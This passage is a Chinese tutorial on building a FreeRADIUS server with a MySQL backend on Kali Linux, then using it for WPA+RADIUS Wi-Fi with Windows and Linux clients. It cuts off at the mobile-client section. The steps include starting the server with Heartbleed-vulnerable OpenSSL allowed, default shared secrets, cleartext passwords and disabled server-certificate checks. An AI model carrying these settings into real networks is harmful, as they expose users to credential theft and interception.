一次性付费进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:460500587
微信公众号:计算机与网络安全
ID:Computer-network
RADIUS是一种C/S结构的协议。RADIUS协议认证机制灵活,可以采用PAP、CHAP或者Unix登录认证等多种方式。在企业的无线网络环境中,通常使用WPA+ RADIUS加密模式,它会使网络更安全。
一、RADIUS简介
RADIUS(Remote Authentication Dial In User Service,远端用户拨入验证服务)是一个AAA协议,即同时兼顾验证(Authentication)、授权(Authorization)及计费(Accounting)3种服务的一种网络传输协议。
1、什么是RADIUS协议
RADIUS是一种在网络接入服务器(Network Access Server)和共享认证服务器间传输认证授权和配置信息的协议。它采用客户端/服务器结构。路由器或NAS上运行的AAA程序对用户来讲是作为服务端,对RADIUS服务器来讲是作为客户端。RADIUS通过建立一个唯一的用户数据库存储用户名和密码来进行验证。存储传递给用户的服务类型以及相应的配置信息来完成授权。当用户上网时,路由器决定对用户采用何种验证方法。
RADIUS还支持代理和漫游功能。简单地说,代理就是一台服务器,可以作为其他RADIUS服务器的代理,负责转发RADIUS认证和计费数据包。所谓漫游功能,就是代理的一个具体实现,这样可以让用户通过本来和其无关的RADIUS服务器进行认证。
RADIUS主要特征如下所示。
● 客户/服务器模式。
● 网络安全。
● 灵活认证机制。
● 协议的可扩充性。
2、RADIUS的工作原理
ADIUS原先的目的是为拨号用户进行认证和计费。后来经过多次改进,形成了一项通用的认证计费协议。该协议主要完成在网络接入设备和认证服务器之间承载认证、授权、计费和配置信息。下面介绍RADIUS服务的工作原理,如图1所示。
图1 RADIUS服务工作原理
图1简单地显示了RADIUS服务工作的模型,下面对该过程进行详细介绍。
(1)客户端接入NAS,NAS向RADIUS服务器使用Access-Require数据包提交用户信息,包括用户名和密码等相关信息。其中,用户密码是经过MD5加密的,双方使用共享密钥,这个密钥不经过网络传播。
(2)RADIUS服务器对用户名和密码的合法性进行校验,必要时可以提出一个Challenge,要求进一步对用户认证,也可以对NAS进行类似的认证。
(3)如果合法,则给NAS返回Access-Accept数据包,允许用户进行下一步工作,否则返回Access-Reject数据包,拒绝用户访问。如果允许访问,NAS向RADIUS服务器提出计费请求Account-Require,RADIUS服务器响应Account-Accept。此时,将开始对用户计费,同时用户也可以进行自己的相关操作。
RADIUS服务器和NAS服务器通过UDP协议进行通信,RADIUS服务器的1812端口负责认证,1813端口负责计费工作。这里使用UDP协议,是因为NAS和RADIUS服务器大多在同一个局域网中,使用UDP协议更加快捷方便。
RADIUS协议还规定了重传机制。如果NAS向某个RADIUS服务器提交请求没有收到返回信息,那么可以要求备份RADIUS服务器重传。由于有多个备份RADIUS服务器,因此NAS进行重传的时候,可以采用轮询的方法。如果备份RADIUS服务器的密钥和以前RADIUS服务器的密钥不同,则需要重新进行认证。
二、搭建RADIUS服务
目前,通常使用FreeRadius开源软件来搭建Radius服务。Freeradius是一个模块化,高性能并且功能丰富的一套RADIUS程序。该程序包括服务器、客户端、开发库及一些额外的相关RADIUS工具。
1、安装RADIUS服务
通常情况下,服务器都会安装到服务性(比较稳定)的操作系统中(如RHEL和Windows Server 2008)。这里简单的模拟一个实验环境,下面介绍在Kali Linux上搭建RADIUS服务。
使用FreeRadius软件安装RADIUS服务。具体操作步骤如下所述。
(1)从官方网站http://freeradius.org/下载稳定版本的FreeRadius软件包,其软件包名为freeradius-server-2.2.6.tar.gz。本例中,将下载好的文件保存到/root目录中。
(2)解压FreeRadius软件包。执行命令如下所示。
root@kali:~# tar zxvf freeradius-server-2.2.6.tar.gz
执行以上命令后,将在/root目录中解压出一个名为freeradius-server-2.2.6的文件。
(3)配置FreeRadius软件包。执行命令如下所示。
root@kali:~# cd freeradius-server-2.2.6/ #切换到解压出文件中
root@kali:~/freeradius-server-2.2.6# ./configure #配置软件
(4)编译FreeRadius软件包。执行命令如下所示。
root@kali:~/freeradius-server-2.2.6# make
(5)安装FreeRadius软件包。执行命令如下所示。
root@kali:~/freeradius-server-2.2.6# make install
成功执行以上命令后,FreeRadius软件包就安装成功了,也就是说RADIUS服务搭建完成。此时,用户也就可以启动该服务。
(6)为了更清楚地查看RADIUS服务启动过程加载的信息,这里以调试模式运行该服务。执行命令如下所示。
root@localhost:~/freeradius-server-2.2.6# radiusd -s -X
如果正常启动后,将显示如下信息:
radiusd: FreeRADIUS Version 2.2.6, for host x86_64-unknown-linux-gnu, built on Dec 15 2014 at
09:13:13
Copyright (C) 1999-2013 The FreeRADIUS server project and contributors.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FORA
PARTICULAR PURPOSE.
You may redistribute copies of FreeRADIUS under the terms of the
GNU General Public License.
For more information about these matters, see the file named COPYRIGHT.
Starting - reading configuration files ...
including configuration file /usr/local/etc/raddb/radiusd.conf
including configuration file /usr/local/etc/raddb/proxy.conf
including configuration file /usr/local/etc/raddb/clients.conf
including files in directory /usr/local/etc/raddb/modules/
including configuration file /usr/local/etc/raddb/modules/pap
including configuration file /usr/local/etc/raddb/modules/smbpasswd
including configuration file /usr/local/etc/raddb/modules/sqlcounter_expire_on_login
including configuration file /usr/local/etc/raddb/modules/detail.log
including configuration file /usr/local/etc/raddb/modules/radutmp
......
listen {
type = "acct"
ipaddr = *
port = 0
}
listen {
type = "control"
listen {
socket = "/usr/local/var/run/radiusd/radiusd.sock"
}
}
listen {
type = "auth"
ipaddr = 127.0.0.1
port = 18120
}
... adding new socket proxy address * port 46339
Listening on authentication address * port 1812
Listening on accounting address * port 1813
Listening on command file /usr/local/var/run/radiusd/radiusd.sock
Listening on authentication address 127.0.0.1 port 18120 as server inner-tunnel
Listening on proxy address * port 1814
Ready to process requests.
执行以上命令后,将输出大量的信息。由于篇幅的原因,中间部分内容使用省略号(......)取代。从最后显示的几行信息中可以看到,监听的认证地址端口为1812、审计地址端口为1813、代理地址端口为1814。最后一行信息表示准备处理请求。当有客户端连接时,将会看到服务器收到的请求及响应的信息。
以上是RADIUS服务正常启动后的输出信息。但是,由于某些原因可能导致服务启动失败。常见的问题有两个,第一,需要更新动态链接库;第二,需要设置允许使用Openssl的漏洞版本启动RADIUS服务。下面来看下如果不出现以上错误,将会提示怎样的信息,以及如何解决该问题。
(1)更新动态链接库问题
由于使用源码编译安装的RADIUS服务器文件将被创建在不同的位置,这时候系统将可能搜索不到一些库文件。所以,需要使用ldconfig命令更新动态链接库。否则可能提示无法找到共享库,其提示信息如下所示。
radiusd: error while loading shared libraries: libfreeradius-radius-020206.so: cannot open shared
object file: No such file or directory
从以上信息中可以看到加载共享库出错。需要更新动态库,使缓存重新加载。执行命令如下所示。
root@kali:~/freeradius-server-2.2.6# ldconfig
执行以上命令后,将不会再出现以上错误信息。
(2)Openssl漏洞问题
在Kali Linux中,默认安装的Openssl版本是1.0.1e。由于在该版本中存在Heartbleed(心脏出血)漏洞,这时候将拒绝RADIUS服务启动。提示信息如下所示:
Refusing to start with libssl version OpenSSL 1.0.1e 11 Feb 2013 (in range 1.0.1 - 1.0.1f).
Security advisory CVE-2014-0160 (Heartbleed)
For more information see http://heartbleed.com
此时,在RADIUS服务的主配置文件中设置允许即可。编辑配置文件radiusd.conf,并修改allow_vulnerable_openssl配置项的值。如下所示。
root@localhost:/usr/local/etc/raddb# vi radiusd.conf
allow_vulnerable_openssl=yes
这里将以上选项的值设置为yes,然后保存并退出radiusd.conf文件。此时,即可正常启动RADIUS服务。但是,如果要使用该服务,还需要进行详细的配置才可以。下面介绍如何配置RADIUS服务器。
2、配置文件介绍
由于安装完RADIUS服务器后,有很多个文件需要修改。在介绍配置RADIUS服务之前,首先介绍这些配置文件的安装位置及每个文件的作用。
使用二进制包和源码包安装后的文件的位置不同。其中,如果使用二进制包安装的话,CentOS和SLES系统的配置文件默认将保存在/etc/raddb中;Ubuntu系统将保存在/etc/freeradius中。如果是使用源码编译安装的话,默认将保存在/usr/local/etc/raddb目录中。在该目录中包括好多个配置文件,如下所示。
root@kali:/usr/local/etc/raddb# ls
acct_users attrs.accounting_response dictionary hints panic.gdb proxy.conf sql
users
attrs attrs.pre-proxy eap.conf huntgroups policy.conf radiusd.conf sql.conf
attrs.access_challenge certs example.pl ldap.attrmap policy.txt sites-available
sqlippool.conf
attrs.access_reject clients.conf experimental.conf modules preproxy_users sites-enabled
templates.conf
从输出的信息中可以看到有很多个文件。下面介绍几个重要的配置文件,如下所述。
● radiusd.conf:主配置文件。
● users:用户账号配置文件。
● eap.conf:设置加密方式。
● client.conf:RADIUS客户端配置文件。
● sites-enable/default:认证、授权和计费配置文件。
● sites-enable/inner-tunnel:虚拟服务配置文件。
● sql.conf:与数据库连接的配置文件。
● sql:在该目录下有许多sql语句文件,用来创建radius数据库表的。
● certs/bootstrap:用于生成证书的可执行文件。
了解这些配置文件后,就可以对RADIUS进行简单的配置,然后测试该服务了。FreeRADIS默认配置了一个客户端localhost,用户可以使用该默认客户端来测试RADIUS服务。下面介绍一个简单的配置。
(1)默认配置的客户端配置文件是clients.conf,其配置信息如下所示。
root@kali:/usr/local/etc/raddb# vi clients.conf
client localhost {
ipaddr = 127.0.0.1
secret = testing123
require_message_authenticator = no
nastype = other
}
(2)创建一个测试用户。在users文件中添加测试用户的相关信息。
root@kali:/usr/local/etc/raddb# vi users
"alice" Cleartext-Password := "passme"
Framed-IP-Address = 192.168.1.10,
Reply-Message = "Hello, %{User-Name}"
添加以上信息,然后保存并退出users文件。注意,以上内容中的第二行和第三行前面使用的是TAB键分割。
(3)启动RADIUS服务。为了可以看到启动该服务过程中输出的详细信息,下面以调试模式启动该服务。执行命令如下所示。
root@kali:~# radiusd -s -X
radiusd: FreeRADIUS Version 2.2.6, for host x86_64-unknown-linux-gnu, built on Dec 19 2014 at
15:15:35
Copyright (C) 1999-2013 The FreeRADIUS server project and contributors.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
You may redistribute copies of FreeRADIUS under the terms of the
GNU General Public License.
For more information about these matters, see the file named COPYRIGHT.
Starting - reading configuration files ...
including configuration file /usr/local/etc/raddb/radiusd.conf
including configuration file /usr/local/etc/raddb/proxy.conf
including configuration file /usr/local/etc/raddb/clients.conf
including files in directory /usr/local/etc/raddb/modules/
including configuration file /usr/local/etc/raddb/modules/pap
including configuration file /usr/local/etc/raddb/modules/smbpasswd
including configuration file /usr/local/etc/raddb/modules/sqlcounter_expire_on_login
......
listen {
type = "auth"
ipaddr = 127.0.0.1
port = 18120
}
... adding new socket proxy address * port 41713
Listening on authentication address * port 1812
Listening on accounting address * port 1813
Listening on command file /usr/local/var/run/radiusd/radiusd.sock
Listening on authentication address 127.0.0.1 port 18120 as server inner-tunnel
Listening on proxy address * port 1814
Ready to process requests.
看到以上输出信息(Ready to process requests),表示RADIUS服务已成功启动。
(4)测试RADIUS服务器。这里可以使用radtest命令来测试,其语法格式如下所示。
radtest [选项] user passwd radius-server[:port] nas-port-number secret [ppphint] [nasname]
以上语法中常用参数含义如下所示。
● user:用于登录认证的用户。
● passwd:认证用户的密码。
● radius-server:RADIUS服务器的IP地址。
● nas-port-number:NAS服务端口号。
● secret:RADIUS服务和AP的共享密钥。
● nasname:NAS名称。
下面使用前面创建的alice用户认证连接服务器,执行命令如下所示。
root@kali:~# radtest alice passme 127.0.0.1 100 testing123
Sending Access-Request of id 122 to 127.0.0.1 port 1812
User-Name = "alice"
User-Password = "passme"
NAS-IP-Address = 221.204.244.37
NAS-Port = 100
Message-Authenticator = 0x00000000000000000000000000000000
rad_recv: Access-Accept packet from host 127.0.0.1 port 1812, id=122, length=39
Framed-IP-Address = 192.168.1.10
Reply-Message = "Hello,alice"
从以上输出的信息中可以看到,RADIUS服务正确响应了alice用户的请求,这表示RADIUS服务可以工作正常。
如果使用虚拟机搭建RADIUS服务作为认证的话,建议使用桥接模式连接到网络。否则,将会导致客户端无法连接到无线网络。
三、设置WPA+RADIUS加密
下面通过配置RADIUS服务,来实现WPA+RADIUS加密模式的WiFi网络。
1、配置RADIUS服务
通常配置RADIUS服务,需要配置radiusd.conf、eap.conf、clients.conf、sql.conf、default和inner-tunnel6个文件。下面分别介绍如何修改这几个配置文件,并且介绍需要配置的参数的作用。
(1)修改配置文件radiusd.conf
依次修改以下内容。
1)修改该文件的log部分,需要更改的配置项如下所示。
root@kali:/usr/local/etc/raddb# vi radiusd.conf
auth = yes
auth_badpass = yes
auth_goodpass = yes
以上选项的默认值是no。这里将它们修改为yes,表示要将认证信息记录到RADIUS服务的日志文件中。使用源码安装的RADIUS服务,日志文件默认保存在/usr/local/var/log/radius/目录中。当有日志信息产生时,将会在该目录中生成一个名为radius.log的文件。但是,如果以调试模式启动RADIUS服务的话,将不会记录日志信息。
2)修改延长发送认证失败之前的暂停秒数。为防止爆破,设置为5秒。默认是1秒,修改后信息如下所示。
reject_delay = 5
3)启用MySQL认证。所以,把$INCLUDE sql.conf前面的注释(#)取消掉,如下所示。
# $INCLUDE sql.conf
修改后,如下所示。
$INCLUDE sql.conf
(2)修改eap.conf文件
依次修改以下内容。
1)将eap部分的default_eap_type值修改为peap加密方式。如下所示。
default_eap_type = peap
2)将peap部分的default_eap_type值修改为mschapv2加密。如下所示。
default_eap_type = mschapv2
(3)修改配置文件clients.conf
设置允许使用RADIUS服务的设备。在该配置文件中添加如下内容:
root@kali:/usr/local/etc/raddb# vi clients.conf
client 192.168.1.1 { #客户端的IP地址,这里指定了AP的地址
secret = testing123 #AP与RADIUS服务连接的共享密码
shortname = Test #客户端代号,可以随便填写。这里输入了AP
的SSID名称
nastype = other #NAS的类型
}
以上添加了一个AP客户端的信息。用户也可以指定某一个客户端,或者一个大范围网段的主机。如允许192.168.0.0网段的主机,可以使用client 192.168.0.0/24进行设置。具体配置如下所示。
client 192.168.0.0/24 {
secret = testing123
shortname = TestAP
nastype = other
}
(4)修改sql.conf文件
该文件中保存了数据库与RADIUS服务进行连接的信息。具体配置项如下所示。
sql {
database = "mysql" #使用MySQL数据库存储用户
driver = "rlm_sql_${database}" #使用的RADIUS服务驱动
server = "localhost" #MySQL数据库服务的地址
login = "radius" #登录数据库用户名(可以指定root用户)
password = "radpass" #数据库radius的登录密码
radius_db = "radius" #数据库名
}
该文件可以使用默认设置与RADIUS服务建立连接。如果用户想更好地理解该文件中的配置,也可以设置各选项。本例中,使用默认配置。
(5)修改site-enable/default文件
启用SQL模块。将该文件中的authorize部分中sql行前面的注释(#)去掉,在files前面添加注释(#)。修改后如下所示。
authorize {
......
# Read the 'users' file
# files
#
# Look in an SQL database. The schema of the database
# is meant to mirror the "users" file.
#
# See "Authorization Queries" in sql.conf
sql
......
}
(6)配置虚拟服务器文件sites-enabled/inner-tunnel
将该文件中的authorize部分中sql行前面的注释(#)去掉,在files前面添加注释(#)。修改后如下所示。
authorize {
......
# Read the 'users' file
# files
#
# Look in an SQL database. The schema of the database
# is meant to mirror the "users" file.
#
# See "Authorization Queries" in sql.conf
sql
......
}
通过以上方法,RADIUS服务就配置好了。以上配置,选择使用MySQL数据库来存储用户信息。
2、配置MySQL数据库服务
FreeRADIUS中提供了数据库需要的文件,这些文件默认保存在安装目录的子目录sql下面。在Kali Linux系统中,默认已经安装了MySQL数据库。所以,下面介绍MySQL的配置。具体操作步骤如下所述。
(1)创建数据库radius。本例中,为MySQL数据库默认的root用户设置了密码,其密码为123456。所以,在使用root用户进行操作时,需要使用-p选项来输入密码。创建radius数据库,执行命令如下所示。
root@kali:~# mysqladmin -u root -p create radius
Enter password: #输入root用户的密码
执行以上命令后,如果没有显示错误信息,则表示成功创建了radius数据库。
(2)为radius数据库创建一个管理用户。这里以FreeRADIUS软件提供的admin.sql文件作为模板,来创建管理用户。导入admin.sql数据库,执行命令如下所示。
root@kali:~# mysql -u root -p < /usr/local/etc/raddb/sql/mysql/admin.sql
(3)创建数据库架构,使用FreeRADIUS软件提供的schema.sql文件为模板。导入schema.sql数据库,执行命令如下所示。
root@kali:~# mysql -u root -p radius < /usr/local/etc/raddb/sql/mysql/schema.sql
(4)为radius数据库创建一个测试用户。下面创建一个名为bob的用户,如下所示。
root@kali:~# mysql -u root -p radius #登录radius数据库
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 46
Server version: 5.5.40-0+wheezy1 (Debian)
Copyright (c) 2000, 2014, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> INSERT INTO radcheck (username,attribute,op,value) VALUES ('bob','Cleartext-Password',':=','passbob');
Query OK, 1 row affected (0.01 sec)
mysql> INSERT INTO radreply (username,attribute,op,value) VALUES ('bob','Reply-Message','
=','Hello Bob!');
Query OK, 1 row affected (0.01 sec)
mysql> exit
Bye
root@kali:~#
通过以上方法MySQL数据库服务就配置完了。接下来就可以启动RADIUS服务,以确定能正常与MySQL服务建立连接。为了可以看到更详细的信息,下面以调试模式启动RADIUS服务,执行命令如下所示。
root@kali:~# radiusd -s -X
启动RADIUS服务的调试模式后,将会看到有大量的rlm_sql信息。这表明SQL模块被加载。如果SQL模块被正确加载后,RADIUS服务将成功启动。如果SQL模块不能被正确加载,将出现如下错误信息:
Could not link driver rlm_sql_mysql: rlm_sql_mysql.so: cannot open shared object file: No such file
or directory
Make sure it (and all its dependent libraries!) are in the search path of your system's ld.
/usr/local/etc/raddb/sql.conf[22]: Instantiation failed for module "sql"
/usr/local/etc/raddb/sites-enabled/default[177]: Failed to find "sql" in the "modules" section.
/usr/local/etc/raddb/sites-enabled/default[69]: Errors parsing authorize section.
出现以上错误信息是因为找不到驱动包的错误。具体解决方法如下所示。
(1)安装libmysqlclient-dev文件。
(2)重新编译SQL模块。如下所示。
root@kali:~# cd freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql/
#切换到SQL模块位置
root@kali:~/freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql# ./configure
--with-mysql-dir=/var/lib/mysql --with-lib-dir=/usr/lib/mysql #配置MySQL库文件
root@kali:~/freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql# make #编译
root@kali:~/freeradius-server-2.2.6/src/modules/rlm_sql/drivers/rlm_sql_mysql# make install #安装
如果执行以上命令没有报错的话,就表示成功安装了需要的驱动包。此时,即可正常启动RADIUS服务。
(3)再次重新启动RADIUS服务,成功启动后将显示如下所示的信息:
root@localhost:~# radiusd -s -X
radiusd: FreeRADIUS Version 2.2.6, for host x86_64-unknown-linux-gnu, built on Dec 15 2014 at
09:13:13
Copyright (C) 1999-2013 The FreeRADIUS server project and contributors.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
You may redistribute copies of FreeRADIUS under the terms of the
GNU General Public License.
For more information about these matters, see the file named COPYRIGHT.
Starting - reading configuration files ...
including configuration file /usr/local/etc/raddb/radiusd.conf
including configuration file /usr/local/etc/raddb/proxy.conf
including configuration file /usr/local/etc/raddb/clients.conf
.....
rlm_sql (sql): Connected new DB handle, #29
rlm_sql (sql): starting 30
rlm_sql (sql): Attempting to connect rlm_sql_mysql #30
rlm_sql_mysql: Starting connect to MySQL server for #30
rlm_sql (sql): Connected new DB handle, #30
rlm_sql (sql): starting 31
rlm_sql (sql): Attempting to connect rlm_sql_mysql #31
rlm_sql_mysql: Starting connect to MySQL server for #31
rlm_sql (sql): Connected new DB handle, #31
Module: Checking preacct {...} for more modules to load
Module: Linked to module rlm_acct_unique
Module: Instantiating module "acct_unique" from file /usr/local/etc/raddb/modules/acct_unique
acct_unique {
key = "User-Name, Acct-Session-Id, NAS-IP-Address, NAS-Identifier, NAS-Port"
}
Module: Linked to module rlm_files
Module: Instantiating module "files" from file /usr/local/etc/raddb/modules/files
files {
usersfile = "/usr/local/etc/raddb/users"
acctusersfile = "/usr/local/etc/raddb/acct_users"
preproxy_usersfile = "/usr/local/etc/raddb/preproxy_users"
compat = "no"
}
......
listen {
type = "auth"
ipaddr = 127.0.0.1
port = 18120
}
... adding new socket proxy address * port 56762
Listening on authentication address * port 1812
Listening on accounting address * port 1813
Listening on command file /usr/local/var/run/radiusd/radiusd.sock
Listening on authentication address 127.0.0.1 port 18120 as server inner-tunnel
Listening on proxy address * port 1814
Ready to process requests.
从以上输出信息中可以看到加载的rlm_sql模块。如果看到Ready to process requests,则表示该服务成功启动。
(4)测试使用MySQL数据库存储用户的RADIUS服务器。下面使用前面创建的bob用户登录认证RADIUS服务器,执行命令如下所示。
root@kali:/usr/local/etc/raddb# radtest bob passbob 127.0.0.1 100 testing123
Sending Access-Request of id 5 to 127.0.0.1 port 1812
User-Name = "bob"
User-Password = "passbob"
NAS-IP-Address = 221.204.244.37
NAS-Port = 100
Message-Authenticator = 0x00000000000000000000000000000000
rad_recv: Access-Accept packet from host 127.0.0.1 port 1812, id=5, length=32
Reply-Message = "Hello Bob!"
从以上输出的信息中可以看到,bob用户成功通过了RADIUS服务器的认证,并收到响应信息"Hello Bob!"。此时,返回到RADIUS服务的调试模式,将看到如下所示信息:
rad_recv: Access-Request packet from host 127.0.0.1 port 43407, id=91, length=73
User-Name = "bob"
User-Password = "passbob"
NAS-IP-Address = 221.204.244.37
NAS-Port = 100
Message-Authenticator = 0x621ae3319fa83e2f349604a955fcaa44
# Executing section authorize from file /usr/local/etc/raddb/sites-enabled/default
+group authorize {
++[preprocess] = ok
++[chap] = noop
++[mschap] = noop
++[digest] = noop
[suffix] No '@' in User-Name = "bob", looking up realm NULL
[suffix] No such realm "NULL"
++[suffix] = noop
[eap] No EAP-Message, not doing EAP
++[eap] = noop
[sql] expand: %{User-Name} -> bob
[sql] sql_set_user escaped user --> 'bob'
rlm_sql (sql): Reserving sql socket id: 31
......
++[sql] = ok
++[expiration] = noop
++[logintime] = noop
++[pap] = updated
+} # group authorize = updated
Found Auth-Type = PAP
# Executing group from file /usr/local/etc/raddb/sites-enabled/default
+group PAP {
[pap] login attempt with password "passbob"
[pap] Using clear text password "passbob"
[pap] User authenticated successfully
++[pap] = ok
+} # group PAP = ok
Login OK: [bob/passbob] (from client localhost port 100)
# Executing section post-auth from file /usr/local/etc/raddb/sites-enabled/default
+group post-auth {
++[exec] = noop
+} # group post-auth = noop
Sending Access-Accept of id 91 to 127.0.0.1 port 43407
Reply-Message = "Hello Bob!"
Finished request 0.
Going to the next request
Waking up in 4.9 seconds.
Cleaning up request 0 ID 91 with timestamp +5
Ready to process requests.
从以上输出的信息中可以看到,显示了bob用户与RADIUS服务连接的详细过程。
3、配置WiFi网络
前面将RADIUS服务和MySQL数据库都已经配置好了,接下来在路由器中将加密模式设置为WAP+RADIUS模式。下面以TP-LINK路由器为例,介绍配置WPA+RADIUS模式的方法。
设置路由器的加密模式为WPA+RADIUS。具体操作步骤如下所述。
(1)登录路由器。本例中路由器的地址是192.168.1.1,登录用户名和密码都为admin。
(2)在路由器的左侧栏中依次选择“无线设置”|“无线安全设置”命令,将显示如图2所示的界面。
图2 无线网络安全设置
(3)在该界面选择WPA/WPA2加密方法,然后设置认证类型、加密算法、Radius服务器的IP及密码等。该加密方法,默认支持的认证类型包括WPA和WPA2,加密算法默认支持TKIP和AES。在本例中,将这两项设置为“自动”。Radius服务器的IP就是在前面搭建RADIUS服务的主机的IP地址,Radius密码就是在clients.conf文件中设置的共享密钥,默认是testing123。将这几个选项配置完成后,显示界面如图3所示。
图3 设置好的加密模式
(4)以上就是本例中WPA+RADIUS加密模式的配置方法。设置完成后,单击“保存”按钮,并重新启动路由器。
四、连接RADIUS加密的WiFi网络
WPA+RADIUS加密的WiFi网络已经配置好了。接下来,就可以使用客户端进行连接。但是,要连接WPA+RADIUS加密的WiFi网络,还需要对客户端进行简单的设置。下面介绍在不同的客户端连接WPA+RADIUS加密的WiFi网络的方法。
1、在Windows下连接RADIUS加密的WiFi网络
下面介绍如何在Windows 7中,连接到WPA+RADIUS加密的WiFi网络。具体操作步骤如下所述。
(1)在桌面上选择“网络”图标,并单击右键选择“属性”命令,将打开如图4所示的界面。
图4 网络和共享中心
(2)在该界面单击“管理无线网络”选项,将打开如图5所示的界面。
图5 管理无线网络
(3)从该界面可以看到,当前没有创建任何无线网络。此时,单击“添加”按钮,将弹出如图6所示的界面。
图6 选择添加网络的方法
(4)在该界面选择添加网络的方法,这里选择“手动创建网络配置文件”选项,将显示如图7所示的界面。
图7 输入您要添加的无线网络的信息
(5)在该界面输入要添加的无线网络的信息,如网络名、安全类型,以及加密类型等。本例中的网络名为Test、安全类型为WPA2-企业、加密类型为AES,如图7所示。然后单击“下一步”按钮,将显示如图8所示的界面。
图8 成功添加Test无线网络
(6)从该界面可以看到,已经成功添加了Test无线网络。但是,要想成功连接到该网络还需要一些其他设置。所以,这里选择“更改连接设置”选项,将显示如图9所示的界面。
图9 设置无线网络
(7)该界面就是Test无线网络的属性界面,此时就可以对该无线网络进行设置。这里选择“安全”选项卡,将显示如图10所示的界面。
图10 安全设置
(8)在该界面单击“选择网络身份验证方法”后面的“设置”按钮,将显示如图11所示的界面。
图11 验证服务器证书
(9)由于本例中使用的加密方式没有创建证书,所以这里将“验证服务器证书”前面的复选框取消。然后单击“选择身份验证方法”选项下面的“配置”按钮,将打开如图12所示的界面。
图12 EAP MSCHAPv2属性
(10)在该界面将“自动使用Windows登录名和密码(以及域,如果有的话)(A)”前面的复选框取消,然后单击“确定”按钮,将返回图11所示的界面。此时,在该界面单击“确定”按钮,将返回如图10所示的界面。在该界面单击“高级设置”按钮,将显示如图13所示的界面。
图13 高级设置
(11)在该界面选择“指定身份验证模式”复选框,并选择“用户或计算机身份验证”方式。然后单击“确定”按钮,再次返回图10所示的界面。在该界面单击“确定”按钮,将返回图8所示的界面。
(12)在该界面单击“关闭”按钮,将看到如图14所示的界面。
图14 创建的无线网络
(13)从该界面可以看到,已成功创建了名为Test的无线网络。此时,就可以连接该网络了。在连接该网络之前,首先要确定RADIUS服务已成功启动。
(14)返回Windows 7的桌面,单击右下角的图标,即可看到搜索到的所有无线网络,如图15所示。
图15 搜索到的无线网络
(15)在该界面选择要连接的无线网络Test,将打开如图16所示的界面。
图16 输入认证的用户和密码
(16)在该界面输入可以连接到WiFi网络的用户名和密码,本例中的用户名和密码分别是bob和passbob。输入用户名和密码后单击“确定”按钮,即可连接到Test无线网络。当该客户端成功连接到Test网络后,RADIUS服务器的调试模式将会显示以下信息:
rad_recv: Access-Request packet from host 192.168.5.1 port 44837, id=58, length=142
User-Name = "bob"
NAS-IP-Address = 192.168.5.1
NAS-Port = 0
Called-Station-Id = "14-F6-5A-CE-EE-2A:Test"
Calling-Station-Id = "3C-43-8E-A4-40-63"
Framed-MTU = 1400
NAS-Port-Type = Wireless-802.11
Connect-Info = "CONNECT 0Mbps 802.11"
EAP-Message = 0x0200000801626f62
Message-Authenticator = 0x09399d3f99d3ec3177efe1c287dc4e71
# Executing section authorize from file /usr/local/etc/raddb/sites-enabled/default
+group authorize {
++[preprocess] = ok
++[chap] = noop
++[mschap] = noop
++[digest] = noop
[suffix] No '@' in User-Name = "bob", looking up realm NULL
[suffix] No such realm "NULL"
++[suffix] = noop
[eap] EAP packet type response id 0 length 8
[eap] No EAP Start, assuming it's an on-going EAP conversation
++[eap] = updated
[sql] expand: %{User-Name} -> bob
[sql] sql_set_user escaped user --> 'bob'
rlm_sql (sql): Reserving sql socket id: 31
......
++[eap] = ok
+} # group authenticate = ok
Login OK: [bob/<via Auth-Type = EAP>] (from client Test port 0 cli 14-F6-5A-CE-EE-2A)
# Executing section post-auth from file /usr/local/etc/raddb/sites-enabled/default
+group post-auth {
++[exec] = noop
+} # group post-auth = noop
Sending Access-Accept of id 57 to 192.168.5.1 port 44837
MS-MPPE-Recv-Key = 0x2804fe94651f537a5b5164adb45f5efbaf788dd06e722f19b0d86d
8e499470c5
MS-MPPE-Send-Key = 0x86adf3a7fee3d402f7c6177a0494a7a43380721fe68e3c409023
dcc7ef179d98
EAP-Message = 0x03090004
Message-Authenticator = 0x00000000000000000000000000000000
User-Name = "bob"
Finished request 58.
Going to the next request
Waking up in 4.9 seconds.
Cleaning up request 49 ID 48 with timestamp +967
Cleaning up request 50 ID 49 with timestamp +967
Cleaning up request 51 ID 50 with timestamp +967
Cleaning up request 52 ID 51 with timestamp +967
Cleaning up request 53 ID 52 with timestamp +967
Cleaning up request 54 ID 53 with timestamp +967
Cleaning up request 55 ID 54 with timestamp +967
Cleaning up request 56 ID 55 with timestamp +967
Cleaning up request 57 ID 56 with timestamp +967
Cleaning up request 58 ID 57 with timestamp +967
Ready to process requests.
以上输出的信息是客户端连接服务器的详细信息,如客户端的Mac地址、使用的认证用户及密钥等。
2、在Linux下连接RADIUS加密的WiFi网络
下面介绍在Linux下(以Kali Linux为例),如何连接到WPA+RADIUS加密的WiFi网络中。具体操作步骤如下所述。
(1)在Kali Linux系统的桌面单击右上角的图标,将看到当前无线网卡搜索到的所有的无线网络,如图17所示。
图17 搜索到的无线网络
(2)在该界面选择要连接的无线网络,这里选择Test,将打开如图18所示的界面。
图18 输入认证信息
(3)在该界面设置用于网络认证的信息。如选择认证方式EAP、输入认证的用户和密码。设置完成后,显示界面如图19所示。
图19 认证信息
(4)填写以上认证信息后,单击“连接”按钮,将打开如图20所示的界面。
图20 选择证书文件
(5)由于在该实验环境中没有创建CA证书,所以这里单击“忽略”按钮。如果不想每次都弹出该窗口的话,勾选“以后不再警告”复选框,然后单击“忽略”按钮,将开始连接Test无线网络。连接成功后,网络图标将显示为形式。
3、移动客户端连接RADIUS加密的WiFi网络
